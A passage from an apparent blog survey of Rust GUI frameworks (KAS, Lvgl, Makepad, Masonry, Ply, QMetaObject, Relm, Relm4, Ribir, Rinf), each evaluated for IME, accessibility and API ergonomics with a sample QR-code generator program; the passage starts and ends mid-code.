        let imgui = window.imgui.as_mut().unwrap();
        window.window.request_redraw();
        imgui.platform.handle_event::<()>(
            imgui.context.io_mut(),
            &window.window,
            &Event::AboutToWait,
        );
    }
}

pub fn qr_encode(text: &str) -> anyhow::Result<image::DynamicImage> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();
    Ok(img.into())
}

fn main() {
    env_logger::init();
    let event_loop = EventLoop::new().unwrap();
    event_loop.set_control_flow(ControlFlow::Poll);
    event_loop.run_app(&mut App::default()).unwrap();
}

Link to this section KAS

KAS is a Rust GUI framework that pursues simplicity.

KAS’s repository links to their tutorial and their blog. I really like open-source projects that maintain a blog, because the thought processes and the principles and rationale behind the project design recorded by the developers are often worth learning from, even for people who don’t use the project. In KAS’s blog, there is also a State of GUI 2022 that can be compared with the current state of things.

KAS’s programming model falls somewhere between React’s reactive model and the Elm Architecture. It allows attaching state to intermediate nodes in the component tree, where those nodes handle events and state updates from child components separately. Intuitively, this approach seems like it could solve the abstraction leak problem in the Elm Architecture. However, I can’t say for sure how composable it actually is. Because it looks like they ran into some trouble composing stateful widgets, so they specifically designed a macro-based syntax for widget composing. Incidentally, this architecture design reminds me of Blinc’s stateful components mentioned earlier, although I get the feeling the Blinc also hasn’t fully figured out how to manage state in their programs.

IME and the screen reader both don’t work properly. However, interestingly, in KAS’s repository, I also saw tracking issues regarding IME and screen reader support. They both started in June 2025. Judging from the timing, it’s quite likely they were influenced by the 2025 survey. Hopefully they’ll keep up the momentum this year.

As expected, when trying to compose components with different states, KAS’s API has a lot of friction. It reminds me of the days of playing with parser combinators. However, parser combinators generally provide a way to degrade types to dyn Trait to reduce type-system complexity. But for some reason, in KAS, they didn’t choose to do this for widget types. This means when you want to create a series of widgets side by side, you have only two options: either use macros like column! , or hand-write a type to combine these components. The former is almost unusable for cross-component communication, because the local types generated by macros are completely opaque, making it impossible to get references to child components. The API for custom components also seems rough. For example, while writing this example, habits from other frameworks told me that I should feed the TextEdited event information back into the state, i.e., the controlled component mechanism from React. But it actually works without doing that. I don’t quite understand why, but it runs, so let’s just leave it at that.

Full Code
use kas::{draw::ImageFormat, image::Sprite, prelude::*, widgets::*};

#[derive(Clone, Debug)]
struct TextEdited(String);

fn qr_encode(text: &str) -> anyhow::Result<(Size, Vec<u8>)> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();
    let img = image::DynamicImage::ImageLuma8(img).into_rgba8();
    let size = Size::splat(img.width().cast());
    Ok((size, img.into_raw()))
}

#[impl_self]
mod QrApp {
    #[widget]
    #[layout(column![self.label, self.input, self.sprite])]
    pub struct QrApp {
        core: widget_core!(),
        #[widget]
        label: adapt::Map<String, Label, fn(&String) -> &()>,
        #[widget]
        input: EditBox<edit::InstantParseGuard<String, String>>,
        #[widget]
        sprite: adapt::Map<String, Sprite, fn(&String) -> &()>,
    }

    impl Default for Self {
        fn default() -> Self {
            QrApp {
                core: Default::default(),
                label: Label::new("Enter text to generate a QR code:".into()).map(|_| &()),
                sprite: Sprite::new().with_logical_size((256.0, 256.0)).map(|_| &()),
                input: EditBox::instant_parser(|x: &String| x.into(), TextEdited),
            }
        }
    }

    impl Events for Self {
        type Data = String;

        fn handle_messages(&mut self, cx: &mut EventCx, _: &Self::Data) {
            if let Some(TextEdited(text)) = cx.try_pop()
                && let Ok((size, data)) = qr_encode(&text)
            {
                let draw = cx.draw_shared();
                if let Ok(handle) = draw.image_alloc(ImageFormat::Rgba8, size)
                    && draw.image_upload(&handle, &data).is_ok()
                {
                    self.sprite.set(cx, handle);
                }
            }
        }
    }
}

fn main() -> kas::runner::Result<()> {
    env_logger::init();
    let window = Window::new(
        QrApp::default().with_state("https://example.com/".into()),
        "QR Code Generator",
    );
    kas::runner::Runner::new(())?.with(window).run()
}

Link to this section Kittest

Kittest is a UI automation testing framework based on AccessKit, and it currently provides egui integration. Clearly, it’s not a framework for building GUIs, so let’s move on to the next one.

Link to this section Leptos

Leptos is a Rust framework for building full-stack web apps. On the UI side, it adopts a fine-grained reactive model. Leptos doesn’t provide a mode for packaging applications as desktop apps like Dioxus does; their focus is clearly more on the web domain.

Link to this section Lvgl

Lvgl is a Rust binding for a GUI library developed for embedded devices. That’s certainly a distinctive niche, and perhaps that alone is enough to make it stand out on Are We GUI Yet?. As far as I know, another GUI framework that can run in embedded environments is Slint. However, I don’t have a usable embedded development board on hand, and this survey’s scope is basically limited to desktop environments, so I can’t pit them against each other in an embedded setting.

Lvgl can also run in desktop mode, simulating the peripherals of an embedded device. In that case, it uses SDL as the rendering backend. This mode sounds like it’s mainly meant for developers to debug their programs before flashing them onto a board, so I find it hard to have high expectations for its performance as a desktop GUI.

The last release was three years ago. When I tried running the version on crates.io, it hit a segmentation fault. So I switched to the latest version on the main branch on GitHub, and after some painful environment setup, I finally got it running.

Given that embedded devices don’t always have a keyboard, lvgl doesn’t respond to keyboard events. You need to add a Keyboard widget and click on it to enter text. Well, that’s certainly a refreshing experience. Of course, in this case there’s no way to talk about IME support or accessibility.

Despite all this time, lvgl’s Rust bindings still seem to be in an unfinished state. Many operations require getting raw pointers to widgets and going through the low-level lvgl-sys. For example, getting the text from a text box and setting the content of an image widget. Yes, that’s the only way to make the image widget usable.

Full Code
use std::thread::sleep;
use std::time::{Duration, Instant};

use cstr_core::{CStr, cstr};
use embedded_graphics::pixelcolor::Rgb565;
use embedded_graphics::prelude::*;
use embedded_graphics_simulator::{
    OutputSettingsBuilder, SimulatorDisplay, SimulatorEvent, Window,
};
use lvgl::input_device::InputDriver;
use lvgl::input_device::pointer::{Pointer, PointerInputData};
use lvgl::widgets::{Img, Keyboard, Label, Textarea};
use lvgl::{Align, Display, DrawBuffer, LvError, NativeObject, Widget};

const HOR_RES: u32 = 240;
const VER_RES: u32 = 360;
const IMG_RES: u32 = 200;

fn qr_encode(text: &str, buf: &mut [u8; (IMG_RES * IMG_RES * 2) as usize]) -> anyhow::Result<()> {
    let img: image::GrayImage = qrcode::QrCode::new(text.as_bytes())?
        .render::<image::Luma<u8>>()
        .max_dimensions(IMG_RES, IMG_RES)
        .quiet_zone(false)
        .build();
    for (x, y, pixel) in img.enumerate_pixels() {
        let c: u16 = if pixel.0[0] < 128 { 0x0000 } else { 0xFFFF }; // RGB565 black/white
        let i = ((y * IMG_RES + x) * 2) as usize;
        buf[i] = (c & 0xFF) as u8;
        buf[i + 1] = (c >> 8) as u8;
    }
    Ok(())
}

fn main() -> Result<(), LvError> {
    let mut sim_display: SimulatorDisplay<Rgb565> =
        SimulatorDisplay::new(Size::new(HOR_RES, VER_RES));

    let output_settings = OutputSettingsBuilder::new().scale(2).build();
    let mut window = Window::new("QR Code Generator", &output_settings);

    let buffer = DrawBuffer::<{ (HOR_RES * VER_RES) as usize }>::default();

    let display = Display::register(buffer, HOR_RES, VER_RES, |refresh| {
        sim_display.draw_iter(refresh.as_pixels()).unwrap();
    })?;

    // Define the initial state of your input
    let mut latest_touch_status = PointerInputData::Touch(Point::new(0, 0)).released().once();

    // Register a new input device that's capable of reading the current state of the input
    let _touch_screen = Pointer::register(|| latest_touch_status, &display)?;

    // Create screen and widgets
    let mut screen = display.get_scr_act()?;

    let mut label = Label::create(&mut screen)?;
    label.set_text(cstr!("Enter text to generate QR code:"));

    let mut text = Textarea::create(&mut screen)?;
    text.set_align(Align::TopMid, 0, 20);
    text.set_height(40);

    let mut img = Img::create(&mut screen)?;
    img.set_size(IMG_RES as i16, IMG_RES as i16);
    img.set_align(Align::TopMid, 0, 60);

    let mut buf = [255u8; (IMG_RES * IMG_RES * 2) as usize]; // RGB565
    let dsc = lvgl_sys::lv_img_dsc_t {
        header: {
            let mut h = lvgl_sys::lv_img_header_t::default();
            h.set_cf(lvgl_sys::LV_IMG_CF_TRUE_COLOR);
            h.set_w(IMG_RES);
            h.set_h(IMG_RES);
            h
        },
        data_size: buf.len() as u32,
        data: buf.as_ptr(),
    };

    let mut keyboard = Keyboard::create(&mut screen)?;
    keyboard.set_size(240, 120);
    keyboard.set_textarea(&mut text);

    text.on_event(|text, ev| {
        if let lvgl::Event::ValueChanged = ev {
            let text = unsafe {
                let ptr = lvgl_sys::lv_textarea_get_text(text.raw().as_ptr());
                CStr::from_ptr(ptr).to_string_lossy().into_owned()
            };
            if qr_encode(&text, &mut buf).is_ok() {
                unsafe {
                    lvgl_sys::lv_img_set_src(
                        img.raw().as_mut(),
                        &dsc as *const _ as *const core::ffi::c_void,
                    )
                };
            }
        }
    })?;

    'running: loop {
        let start = Instant::now();
        lvgl::task_handler();
        window.update(&sim_display);

        let events = window.events().peekable();

        for event in events {
            match event {
                SimulatorEvent::MouseButtonDown {
                    mouse_btn: _,
                    point,
                } => {
                    latest_touch_status = PointerInputData::Touch(point).pressed().once();
                }
                SimulatorEvent::MouseButtonUp {
                    mouse_btn: _,
                    point,
                } => {
                    latest_touch_status = PointerInputData::Touch(point).released().once();
                }
                SimulatorEvent::Quit => break 'running,
                _ => {}
            }
        }
        sleep(Duration::from_millis(5));
        lvgl::tick_inc(Instant::now().duration_since(start));
    }

    Ok(())
}

Link to this section Makepad

“Makepad is an AI-accelerated application and game development environment for Rust.”

I remember a year ago they weren’t saying that.

“It also has a large set of AI backends integrated for embedding llms or generative AI models inside applications or run them easily on local hardware”

That doesn’t sound like what a GUI framework should be doing.

Makepad’s link on Are We GUI Yet? points to a placeholder crate; their real crate name seems to be makepad-widgets . But neither side has any documentation at all. Let me just hope I have better luck with their examples.

The examples in the repository don’t match the version published on crates.io. Moreover, it seems that Claude Code getting in on the act completely messed up their version management. Their git repository has two tags named 1.0.0 and Last1.0 , and I can only infer from the dates which one corresponds to the version on crates.io.

IME only partially works: it can receive text input, but it doesn’t display the composer’s content. The screen reader cannot recognize the content in the window.

It seems their carefully designed DSL is intended for some kind of live editor, yet in their repository, there’s no documentation at all on how to install this editor.

Full Code
use makepad_widgets::*;

live_design! {
    use link::theme::*;
    use link::widgets::*;

    App = {{App}} {
        ui: <Root> {
            main_window = <Window> {
                body = <View> {
                    flow: Down,
                    spacing: 30,
                    align: {x: 0.5, y: 0.5},
                    label = <Label> {
                        text: "Enter text to generate QR code:",
                    }
                    text_input = <TextInput> { }
                    image = <Image> { }
                }
            }
        }
    }
}

app_main!(App);

#[derive(Live, LiveHook)]
pub struct App {
    #[live]
    ui: WidgetRef,
}

impl LiveRegister for App {
    fn live_register(cx: &mut Cx) {
        crate::makepad_widgets::live_design(cx);
    }
}

impl MatchEvent for App {
    fn handle_startup(&mut self, _cx: &mut Cx) {}

    fn handle_actions(&mut self, cx: &mut Cx, actions: &Actions) {
        let input = self.ui.text_input(id!(text_input));
        if let Some(text) = input.changed(actions) {
            let image = self.ui.image(id!(image));
            image
                .load_png_from_data(cx, &qr_encode(&text).unwrap())
                .unwrap();
        }
    }
}

impl AppMain for App {
    fn handle_event(&mut self, cx: &mut Cx, event: &Event) {
        self.match_event(cx, event);
        self.ui.handle_event(cx, event, &mut Scope::empty());
    }
}

fn qr_encode(text: &str) -> anyhow::Result<Vec<u8>> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<::image::Luma<u8>>().build();

    let mut buf = Vec::new();
    img.write_to(
        &mut std::io::Cursor::new(&mut buf),
        ::image::ImageFormat::Png,
    )?;
    Ok(buf)
}

Link to this section Masonry

Masonry is a foundational framework for building GUI libraries in Rust. Its goal is not to be a user-facing GUI framework, but rather to serve as a low-level framework for building GUI frameworks. They provide a widget tree and the means to render it. Frameworks built on masonry are free to choose their state management model, such as immediate mode, the Elm Architecture, or reactive programming.

Their documentation recommends users to use Xilem, a higher-level reactive GUI framework built on top of masonry. We’ll come back later to see what Xilem’s usage looks like. For now, let’s not follow their advice and instead see what it’s like to use masonry directly by hand.

Both IME and screen reader work fine. For a GUI framework with pure Rust and custom-rendered widgets, this is quite impressive. Among all the GUI libraries I’ve tested so far, only egui has reached this level.

Without any configuration, masonry’s default font doesn’t support rendering CJK characters. I initially thought it might be like egui, where system fonts aren’t loaded, but after digging into it, I found that the issue is simply that its default font configuration doesn’t include CJK fonts. As long as you specify an appropriate font name when constructing the widget, it will render properly.

Masonry’s API feels very low-level indeed, but also very flexible. If the day ever comes when I need to build my own Rust GUI library (and if I actually do, I can’t decide whether that’s fortunate or unfortunate), masonry would be a good place to start; at least I’d get IME and accessibility support out of the box.

Full Code
use masonry::core::{ErasedAction, NewWidget, Widget, WidgetId, WidgetTag};
use masonry::parley::style::{FontStack, StyleProperty};
use masonry::peniko::{ImageAlphaType, ImageData, ImageFormat};
use masonry::properties::types::Length;
use masonry::widgets::{Flex, Image, Label, Portal, TextAction, TextArea, TextInput};
use masonry_winit::app::{AppDriver, DriverCtx, NewWindow, WindowId};
use masonry_winit::winit::window::Window;

const TEXT_INPUT_TAG: WidgetTag<TextInput> = WidgetTag::new("text-input");
const LIST_TAG: WidgetTag<Flex> = WidgetTag::new("list");
const WIDGET_SPACING: Length = Length::const_px(5.0);

struct Driver {
    image_id: Option<WidgetId>,
}

impl AppDriver for Driver {
    fn on_action(
        &mut self,
        window_id: WindowId,
        ctx: &mut DriverCtx<'_, '_>,
        _widget_id: WidgetId,
        action: ErasedAction,
    ) {
        if action.is::<TextAction>() {
            let action = action.downcast::<TextAction>().unwrap();
            if let TextAction::Changed(new_text) = *action
                && let Ok(qr) = qr_encode(&new_text)
            {
                let render_root = ctx.render_root(window_id);
                if let Some(image_id) = self.image_id {
                    render_root.edit_widget(image_id, |mut image| {
                        Image::set_image_data(&mut image.downcast(), qr);
                    })
                } else {
                    render_root.edit_widget_with_tag(LIST_TAG, |mut list| {
                        let image = Image::new(qr).with_auto_id();
                        self.image_id = Some(image.id());
                        Flex::add_child(&mut list, image);
                    });
                }
            }
        }
    }
}

pub fn make_widget_tree() -> NewWidget<impl Widget> {
    let label = NewWidget::new(Label::new("Enter text to generate QR code:"));
    let text_input = NewWidget::new_with_tag(
        TextInput::from_text_area(
            TextArea::new_editable("")
                .with_style(StyleProperty::FontStack(FontStack::Source(
                    "system-ui, PingFang SC, Hiragino Sans GB, Microsoft YaHei, sans-serif".into(),
                )))
                .with_auto_id(),
        ),
        TEXT_INPUT_TAG,
    );

    let list = Flex::column()
        .with_child(label)
        .with_child(text_input)
        .with_spacer(WIDGET_SPACING);

    NewWidget::new(Portal::new(NewWidget::new_with_tag(list, LIST_TAG)))
}

fn qr_encode(text: &str) -> anyhow::Result<ImageData> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();
    let img = image::DynamicImage::ImageLuma8(img).into_rgba8();
    let (width, height) = img.dimensions();
    let data = img.into_raw();
    Ok(ImageData {
        data: data.into(),
        format: ImageFormat::Rgba8,
        alpha_type: ImageAlphaType::AlphaPremultiplied,
        width,
        height,
    })
}

fn main() {
    let window_attributes = Window::default_attributes()
        .with_title("QR Code Generator")
        .with_resizable(true);
    let driver = Driver { image_id: None };

    let event_loop = masonry_winit::app::EventLoop::with_user_event()
        .build()
        .unwrap();
    masonry_winit::app::run_with(
        event_loop,
        vec![NewWindow::new(
            window_attributes,
            make_widget_tree().erased(),
        )],
        driver,
        masonry::theme::default_property_set(),
    )
    .unwrap();
}

Link to this section Maycoon

“Maycoon is shutting down!”

A few months ago, the author of Maycoon announced that Maycoon had been deprecated and deleted its GitHub repository. According to the author, “Rust simply is not a good fit to make a UI framework.” Let’s take a moment of silence for Maycoon, then move on to the next framework.

Link to this section Pane UI

Pane UI is a GUI framework that defines UIs in RON, renders them with wgpu, and supports hot reloading.

It does not adopt a reactive design; the RON data files used to define the UI are completely static. If you want to create dynamic content, you need to modify the UI through code at runtime. This is not really a bad idea, because before reactive programming was invented, this is how everyone did it, for example, Win32 UI and VCL.

Regarding the schema of the RON used to define UIs, Pane UI’s README contains a somewhat incomplete description, which alone is not enough to understand how components are defined. However, one can infer what the schema should look like from the Rust documentation of the module they use to parse RON, although even then the information is still not complete.

Unfortunately, Pane UI cannot accomplish this task, because it does not support creating and inserting images at runtime. Neither attempting to modify the properties of an existing image nor creating a new image component is supported in Pane UI. Perhaps there is also a hacky workaround: leveraging Pane UI’s hot reload mechanism to modify the RON file used to load the UI at runtime. But that sounds a bit too crazy.

Link to this section Pax

Pax is a GUI framework that emphasizes “designability”, combining a Figma-like designer with the program’s GUI. This sounds like a great idea, if it can actually work.

Pax’s desktop support is macOS only, and it is still in alpha. In my attempt, its macOS version failed to compile due to an internal parameter mismatch error. Given that Pax has not been updated for two years, I decided not to waste any more time on it.

Link to this section Ply

Ply is also a newcomer to the Rust GUI framework scene this year. Its author published a post on the Are We GUI Yet? blog list titled “building apps in Rust shouldn’t be this hard”. That’s certainly a good way to draw attention to a new project.

IME does not work properly. After adding some additional code to set up accessibility, the screen reader can read the contents of the window.

In the blog post, the author talks about the pain points they encountered with other Rust GUI frameworks and then introduces ply’s builder-based API design. In practice, the code does feel more concise, and it plays well with editor autocompletion.

However, ply is not perfect in its API design. It adopts an immediate mode programming model, but the way it handles text box updates is through callbacks, which is somewhat problematic. To access external state inside the callback, I had to wrap it in Rc<RefCell<T>> , because the callback may outlive the GUI builder. But from the perspective of the actual GUI lifecycle, this extra wrapping is unnecessary, since an immediate mode GUI’s lifetime is entirely confined to the rendering loop, and variables outside the loop should be freely accessible.

In addition, ply makes some odd choices for default values. For example, if you do not specify both font_size and color for your text, it will not display at all. I checked their documentation and found that the default font_size is 0 and the default color is transparent, which is very counterintuitive. The default width and height of an element also appear to be 0, which is equally unintuitive.

Overall, ply is probably still a ways away from the goal it claims of “shouldn’t be this hard.”

Full Code
use ply_engine::prelude::*;
use std::cell::RefCell;
use std::rc::Rc;

fn window_conf() -> macroquad::conf::Conf {
    macroquad::conf::Conf {
        miniquad_conf: miniquad::conf::Conf {
            window_title: "QR Code Generator".to_owned(),
            window_width: 800,
            window_height: 600,
            high_dpi: true,
            sample_count: 4,
            ..Default::default()
        },
        ..Default::default()
    }
}

fn qr_encode(text: &str) -> anyhow::Result<Texture2D> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();
    let img = image::DynamicImage::ImageLuma8(img).into_rgba8();
    Ok(Texture2D::from_rgba8(
        img.width() as u16,
        img.height() as u16,
        img.as_raw(),
    ))
}

#[macroquad::main(window_conf)]
async fn main() {
    static DEFAULT_FONT: FontAsset = FontAsset::Path("assets/fonts/noto_sans_sc.ttf");
    let mut ply = Ply::<()>::new(&DEFAULT_FONT).await;

    let img: Rc<RefCell<Option<Texture2D>>> = Rc::new(RefCell::new(None));

    loop {
        clear_background(BLACK);

        let mut ui = ply.begin();

        ui.element()
            .width(grow!())
            .height(grow!())
            .layout(|l| {
                l.direction(TopToBottom)
                    .gap(16)
                    .padding(12)
                    .align(CenterX, CenterY)
            })
            .children(|ui| {
                ui.text("Enter text to generate QR code:", |t| {
                    t.font_size(12).color(WHITE).accessible()
                });
                ui.element()
                    .width(grow!())
                    .height(fit!(20.0))
                    .background_color(0x262220)
                    .corner_radius(6.0)
                    .text_input(|t| {
                        t.font_size(18).on_changed({
                            let img = img.clone();
                            move |text| *img.borrow_mut() = qr_encode(text).ok()
                        })
                    })
                    .accessibility(|a| a.role(AccessibilityRole::TextInput).label("input"))
                    .empty();
                if let Some(img) = img.borrow().as_ref() {
                    ui.element()
                        .width(fixed!(200.0))
                        .height(fixed!(200.0))
                        .image(img.clone())
                        .empty();
                }
            });

        ui.show(|_| {}).await;

        next_frame().await;
    }
}

Link to this section QMetaObject

QMetaObject is another Rust binding for Qt. Compared with CXX-Qt, this library is somewhat less active, and its documentation is relatively insufficient. It uses a more customized macro approach to create subclasses of QObject in Rust and allows them to be used in QML. In this simple example, the experience in terms of complexity is roughly similar to CXX-Qt.

Since the UI is built entirely with Qt, the final result is identical to the CXX-Qt one, so there is no need to show screenshots here.

Full Code
use base64::Engine as _;
use cstr::cstr;
use qmetaobject::prelude::*;

#[derive(QObject, Default)]
struct MyObject {
    base: qt_base_class!(trait QObject),
    text: qt_property!(QString; WRITE set_text),
    qr_code: qt_property!(QString; NOTIFY qr_code_changed),
    qr_code_changed: qt_signal!(),
}

impl MyObject {
    fn set_text(&mut self, text: QString) {
        self.text = text;
        let code = qrcode::QrCode::new(self.text.to_string().as_bytes()).unwrap();
        let img = code.render::<image::Luma<u8>>().min_dimensions(256, 256).build();
        let mut png = Vec::new();
        img.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png).unwrap();
        let url = format!("data:image/png;base64,{}", base64::engine::general_purpose::STANDARD.encode(&png));
        self.qr_code = url.into();
        self.qr_code_changed();
    }
}

fn main() {
    qml_register_type::<MyObject>(cstr!("MyObject"), 1, 0, cstr!("MyObject"));
    let mut engine = QmlEngine::new();
    engine.load_data(r#"
        import QtQuick 2.12
        import QtQuick.Controls 2.12
        import QtQuick.Window 2.12
        import MyObject 1.0

        ApplicationWindow {
            id: root
            height: 480
            title: qsTr("QR Code Generator")
            visible: true
            width: 640
            color: palette.window

            readonly property MyObject myObject: MyObject {}

            Column {
                anchors.fill: parent
                anchors.margins: 10
                spacing: 10

                Label {
                    text: qsTr("Enter text to generate QR code:")
                    color: palette.text
                }

                TextField {
                    placeholderText: qsTr("https://example.com")
                    onTextChanged: root.myObject.text = text
                }

                Image {
                    width: 256
                    height: 256
                    fillMode: Image.PreserveAspectFit
                    source: root.myObject.qr_code
                    visible: status === Image.Ready
                }
            }
        }
    "#.into());
    engine.exec();
}

Link to this section Relm

Relm is a GUI framework based on GTK that uses the Elm Architecture as its programming model.

Relm uses GTK 3, which is said to be deprecated. But as I found in my earlier investigation, the GTK 3 library is still being quietly updated, and relm itself is also being quietly updated. It released a new version this year, upgrading to Rust 2024 Edition, but there were no significant changes in functionality.

Since the UI part is essentially GTK, there is no need to include screenshots for comparison again.

Full Code
use gtk::gdk_pixbuf::{Colorspace, Pixbuf};
use gtk::glib::Bytes;
use gtk::prelude::*;
use relm::Widget;
use relm_derive::{Msg, widget};

#[derive(Msg)]
pub enum Msg {
    Input(String),
    Quit,
}

#[widget]
impl Widget for Win {
    fn model() {}

    fn update(&mut self, event: Msg) {
        match event {
            Msg::Input(text) => {
                if let Ok(qr) = qr_encode(&text) {
                    self.widgets.img.set_from_pixbuf(Some(&qr));
                }
            }
            Msg::Quit => gtk::main_quit(),
        }
    }

    view! {
        gtk::Window {
            title: "QR Code Generator",
            gtk::Box {
                orientation: gtk::Orientation::Vertical,
                spacing: 6,
                gtk::Label {
                    label: "Enter text to generate QR code:"
                },
                gtk::Entry {
                    changed(text) => Msg::Input(text.text().to_string())
                },
                #[name="img"]
                gtk::Image {},
            },
            delete_event(_, _) => (Msg::Quit, gtk::glib::Propagation::Proceed),
        }
    }
}

fn qr_encode(text: &str) -> anyhow::Result<Pixbuf> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();
    let img = image::DynamicImage::ImageLuma8(img).to_rgb8();
    let (w, h) = img.dimensions();
    Ok(Pixbuf::from_bytes(
        &Bytes::from_owned(img.into_raw()),
        Colorspace::Rgb,
        false,
        8,
        w as i32,
        h as i32,
        w as i32 * 3,
    ))
}

fn main() {
    Win::run(()).expect("Win::run failed");
}

Link to this section Relm4

Relm4 is the GTK 4 version of Relm. Apart from that, there doesn’t seem to be much to say. Developing applications with it is just as enjoyable as with Relm.

Full Code
use relm4::gtk::gdk::{MemoryFormat, MemoryTexture};
use relm4::gtk::glib::Bytes;
use relm4::gtk::prelude::*;
use relm4::prelude::*;

struct App {
    img: Option<MemoryTexture>,
}

#[derive(Debug)]
enum Msg {
    Input(String),
}

#[relm4::component]
impl SimpleComponent for App {
    type Init = ();
    type Input = Msg;
    type Output = ();

    view! {
        gtk::Window {
            set_title: Some("QR Code Generator"),
            gtk::Box {
                set_orientation: gtk::Orientation::Vertical,
                set_spacing: 6,
                gtk::Label {
                    set_label: "Enter text to generate QR code:"
                },
                gtk::Entry {
                    connect_changed[sender] => move |e| sender.input(Msg::Input(e.text().to_string())),
                },
                gtk::Picture {
                    set_width_request: 200,
                    set_height_request: 200,
                    #[watch]
                    set_paintable: model.img.as_ref(),
                },
            },
        }
    }

    fn init(_: (), root: Self::Root, sender: ComponentSender<Self>) -> ComponentParts<Self> {
        let model = App { img: None };
        let widgets = view_output!();
        ComponentParts { model, widgets }
    }

    fn update(&mut self, msg: Msg, _sender: ComponentSender<Self>) {
        let Msg::Input(text) = msg;
        self.img = qr_encode(&text).ok();
    }
}

fn qr_encode(text: &str) -> anyhow::Result<MemoryTexture> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();
    let img = image::DynamicImage::ImageLuma8(img).to_rgb8();
    let (w, h) = img.dimensions();
    Ok(MemoryTexture::new(
        w as i32,
        h as i32,
        MemoryFormat::R8g8b8,
        &Bytes::from(&img.into_raw()),
        w as usize * 3,
    ))
}

fn main() {
    RelmApp::new("org.example.HelloWorld").run::<App>(());
}

Link to this section Ribir

Ribir is a reactive Rust GUI framework that claims to adopt a “non-intrusive declarative programming model.” By this they mean you can first develop the data model for your application, and then adapt the UI to it. In this process, you do not need to make any modifications to the already designed data model. Although I really don’t understand why this would actually be a problem, I feel that any well-designed GUI framework should be able to do this.

Since Ribir released version 0.3 in 2024, over the past two years it has prepared more than 60 alpha versions for 0.4. I don’t know what exactly has allowed the developers to hold off for such a long time, but it has also piqued my interest in its new version somewhat.

After briefly looking through its documentation, I found that Ribir uses rather obscure notation in its macro syntax. Without the help of AI, I would never have figured out that to insert an optional image into the component tree, I should use syntax like this:

@ { pipe!($read(image).clone()) }

Its documentation spends a great deal of space explaining how this macro syntax works, but it doesn’t say a word about why it was designed this way.

Ribir’s documentation appears to be inconsistent with its implementation in some places. For example, the documentation for Input mentions that it emits a TextChangedEvent . However, this event does not actually exist; instead, text input changes should be handled in the on_chars event. The documentation for the Image component says it accepts WebP format images, but in reality it is even more restrictive: it can only accept WebP images with RGBA pixels. If images with other pixel formats are passed in, its GPU renderer will crash outright.

IME works properly, which is good. But the screen reader cannot recognize the contents of the window.

Although I have been criticizing how cryptic its macro syntax is, that is from the perspective of a programmer. When it comes to conciseness, Ribir’s system is truly second to none. Among all the GUI frameworks I have surveyed so far, it seems to require the fewest lines of code. If Ribir could replace some of its notation with a more intuitive version, I would not hesitate to admit that this is a good design.

Full Code
use ribir::prelude::*;

pub fn qr_encode(text: &str) -> anyhow::Result<Vec<u8>> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<::image::Rgba<u8>>().build();

    let mut buf = Vec::new();
    img.write_to(
        &mut std::io::Cursor::new(&mut buf),
        ::image::ImageFormat::WebP,
    )?;
    Ok(buf)
}

fn main() {
    App::run(fn_widget! {
        let mut input = @Input {};
        let image = Stateful::new(None);
        @Column{
            @Text {
                text: "Enter text to generate QR code:"
            }
            @(input) {
                on_chars: move |_| {
                    let input = $read(input);
                    let text = input.text();
                    *$write(image) = qr_encode(text).ok().and_then(|d| Image::new(d).ok());
                }
            }
            @ { pipe!($read(image).clone()) }
        }
    })
    .with_title("QR Code Generator");
}

Link to this section Rinf

Rinf is another framework that uses Flutter as the interface for Rust programs. I first learned about Rinf because of the plagiarism controversy between it and Flutter Rust Bridge a few years ago. But now that the controversy has settled down, we can take a good look at this library.

According to rinf’s documentation, it recommends managing all application state in Rust, with Flutter used only for the UI. Specifically, it suggests using the Actor model in Rust to manage application state.

In this simple example, comparing the code written with rinf to Flutter Rust Bridge, it feels that under rinf’s model, I can write Flutter code in a way that is more idiomatic to Flutter. Data is passed from Flutter to Rust through asynchronous functions; state is computed and managed on the Rust side, and then passed back to Flutter as subscribable streams. In this process, all the models are ones that Flutter already has natively, unlike Flutter Rust Bridge, which reinvents a pattern for managing state in Flutter. Of course, this applies to cases where you want to manage all state on the Rust side. Flutter Rust Bridge, on the other hand, is probably better suited to scenarios where state is managed in Flutter, and Rust is used only to write functions that are called by Flutter.

Since the UI is the same as the Flutter Rust Bridge version, screenshots aren’t included here for comparison.

Full Code

Rust:

use messages::prelude::{Actor, Address, Context, Notifiable};
use rinf::{DartSignal, RustSignalBinary};
use serde::{Deserialize, Serialize};

#[derive(Deserialize, DartSignal)]
pub struct TextChanged {
    pub text: String,
}

#[derive(Serialize, RustSignalBinary)]
pub struct QrCodeGen;

pub struct FirstActor;
impl Actor for FirstActor {}

impl FirstActor {
    pub fn new(address: Address<Self>) -> Self {
        tokio::spawn(Self::listen_to_dart(address));
        Self
    }

    async fn listen_to_dart(mut address: Address<Self>) {
        let receiver = TextChanged::get_dart_signal_receiver();
        while let Some(signal_pack) = receiver.recv().await {
            let _ = address.notify(signal_pack.message).await;
        }
    }
}

#[async_trait::async_trait]
impl Notifiable<TextChanged> for FirstActor {
    async fn notify(&mut self, message: TextChanged, _: &Context<Self>) {
        if let Ok(png) = encode_qr(&message.text) {
            QrCodeGen.send_signal_to_dart(png);
        }
    }
}

fn encode_qr(text: &str) -> anyhow::Result<Vec<u8>> {
    let image = qrcode::QrCode::new(text.as_bytes())?
        .render::<image::Luma<u8>>()
        .build();
    let mut png = Vec::new();
    image.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)?;
    Ok(png)
}

Flutter:

import 'package:flutter/material.dart';
import 'package:flutter_hooks/flutter_hooks.dart';
import 'package:rinf/rinf.dart';
import 'src/bindings/bindings.dart';

Future<void> main() async {
  await initializeRust(assignRustSignal);
  runApp(const MyApp());
}

class MyApp extends HookWidget {
  const MyApp({super.key});

  @override
  Widget build(BuildContext context) {
    final image = useStream(QrCodeGen.rustSignalStream).data?.binary;
    return MaterialApp(
      title: 'QR Code Generator',
